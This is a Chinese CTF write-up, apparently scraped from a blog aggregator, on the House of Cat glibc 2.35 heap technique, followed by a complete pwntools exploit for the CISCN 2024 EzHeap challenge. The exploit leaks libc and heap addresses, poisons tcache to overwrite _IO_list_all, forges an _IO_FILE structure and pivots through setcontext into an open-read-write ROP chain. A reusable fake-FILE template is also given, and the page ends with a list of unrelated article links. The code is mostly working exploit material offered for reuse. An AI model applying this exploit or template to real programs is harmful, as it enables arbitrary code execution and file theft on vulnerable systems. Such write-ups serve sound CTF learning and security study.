当前位置: 首页 > news >正文

[CTF]-PWN:House of Cat堆题型综合解析

原理:

调用顺序:
exit->_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode

_IO_wfile_seekoff源码:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;......
}
libc_hidden_def (_IO_wfile_seekoff)

_IO_switch_to_wget_mode源码:

int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......
}
0x7ffff7c83cb0 <_IO_switch_to_wget_mode>        endbr64 
0x7ffff7c83cb4 <_IO_switch_to_wget_mode+4>      mov    rax, qword ptr [rdi + 0xa0]
0x7ffff7c83cbb <_IO_switch_to_wget_mode+11>     push   rbx
0x7ffff7c83cbc <_IO_switch_to_wget_mode+12>     mov    rbx, rdi
0x7ffff7c83cbf <_IO_switch_to_wget_mode+15>     mov    rdx, qword ptr [rax + 0x20]
0x7ffff7c83cc3 <_IO_switch_to_wget_mode+19>     cmp    rdx, qword ptr [rax + 0x18]
0x7ffff7c83cc7 <_IO_switch_to_wget_mode+23>     jbe    _IO_switch_to_wget_mode+56
0x7ffff7c83cc9 (_IO_switch_to_wget_mode+25) ◂— mov rax, qword ptr [rax + 0xe0]
0x7ffff7c83cd5 (_IO_switch_to_wget_mode+37) ◂— call qword ptr [rax + 0x18]

我们可以伪造_IO_FILE结构体,我们可以控制执行流

#  rax1=[rdi+0xa0]

#  rdx=[rax+0x20]

#  rax2=[rax+0xe0]

#  call [rax+0x18]

fake_IO_FILE=p64(pop_rdi) #需修改地址
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)#rax2fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2 #需修改地址
fake_IO_FILE+=p64(ret)

这里伪造_IO_FILE结构体可以直接照着模板写 

例题(ciscn2024 初赛 EzHeap):

环境:glibc 2.35

知识点:堆溢出、House of Cat

解题思路:

利用largebin泄露出libc地址和heap地址,利用堆溢出在_IO_list_all处写入伪造_IO_FILE结构体地址,在某一堆块伪造_IO_FILE地址,在某一堆块写入orw,exit触发IO流完成ORW。

gdb查看结构体操作:

伪造后的_IO_FILE结构体:

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap')def alloc(size,content):p.sendlineafter(b'>>',b'1')p.sendlineafter(b'size:',str(size).encode('utf-8'))p.sendafter(b'content',content)
def free(index):p.sendlineafter(b'>>',b'2')p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def edit(index,content):p.sendlineafter(b'>>',b'3')p.sendlineafter(b'idx:',str(index).encode('utf-8'))p.sendlineafter(b'size:',str(len(content)).encode('utf-8'))p.sendafter(b'content',content)
def show(index):p.sendlineafter(b'>>',b'4')p.sendlineafter(b'idx:',str(index).encode('utf-8'))def gdbs():gdb.attach(p)pause()alloc(0x200,b'aa')
alloc(0x420,b'aa')
alloc(0x420,b'aa')
free(1)
alloc(0x440,b'aa')
show(0)
payload=b'a'*0x210
edit(0,payload)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21b0d0payload=b'a'*0x220
edit(0,payload)
show(0)
p.recvuntil(b'a'*0x220)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x2510
payload=b'a'*0x200+p64(0)+p64(0x431)
edit(0,payload)
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')#11
free(11)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(((heapbase+0x19f0)>>12)^(IO_list_all))+p64(0)
edit(3,payload)chunk0=heapbase+0x2300
chunk1=heapbase+0x2d80
chunk2=heapbase+0x2950
chunknew=heapbase+0x19f0fake_IO_FILE_addr=chunk0+0x10
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rax=libcbase+0x0000000000045eb0
syscall=libcbase+0x91316_IO_wfile_jumps=libcbase+0x2170c0
setcontext=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
flag_addr=chunknew+0x10
orw_addr=chunk2+0x10fake_IO_FILE=p64(pop_rdi)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2
fake_IO_FILE+=p64(ret)
edit(0,fake_IO_FILE)orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
edit(2,orw)print("orw="+hex(orw_addr))
print("setcontext3d="+hex(setcontext+0x3d))
print("pop_rdi="+hex(pop_rdi))
alloc(0x60,b'flag\x00')#flag_addr
alloc(0x60,p64(fake_IO_FILE_addr))
p.sendlineafter(b'>>',b'5')p.interactive()

http://www.lryc.cn/news/396528.html

相关文章:

  • 18.按键消抖模块设计(使用状态机,独热码编码)
  • 【Hec-HMS】第一期:模型简介及软件安装
  • 逻辑回归不是回归吗?那为什么叫回归?
  • Activity对象的部分常见成员变量
  • 量化交易策略:赌徒在股市会运用凯利公式(附python代码)
  • 信息系统项目管理师【一】英文选择题词汇大全(1)
  • 怎么判断自己是否适合学习PMP?
  • 最新的数据防泄密方案来袭!
  • Python数据处理之高效校验各种空值技巧详解
  • Spring Boot与RSocket的集成
  • UI Toolkit generateVisualContent的使用
  • 第十六章 ValidationPipe验证post请求参数
  • HippoRAG如何从大脑获取线索以改进LLM检索
  • 求函数最小值-torch版
  • 如何将HEVC格式的视频转换为无损、未压缩的MP4格式视频?
  • 自定义在线活动报名表单小程序源码系统 源代码+搭建部署教程 可二次定制开发
  • 数据分析入门指南:表结构数据(三)
  • 凌凯科技前五大客户依赖症加剧:研发费用率骤降,应收账款大增
  • 5 科大讯飞AI大赛:热力学定律的电池材料生产参数动态调控
  • 概论(二)随机变量
  • Apache AGE 安装部署
  • Python29 Tensorflow的基本知识和使用
  • Linux操作系统上用到的磁盘分区管理工具
  • Python数据结构的库之Fuk使用详解
  • 【STM32学习】cubemx配置,串口的使用,串口发送接收函数使用,以及串口重定义、使用printf发送
  • 复现MiDAS文章:文章数据和代码
  • 【Python专栏】Python的历史及背景介绍
  • web端已有项目集成含UI腾讯IM
  • IF不降反增!审稿速度,比我家网速还快!3本接受率高的医学期刊,赶紧码住!
  • 怎样把视频字幕提取出来?分享4个零门槛的字幕提取工具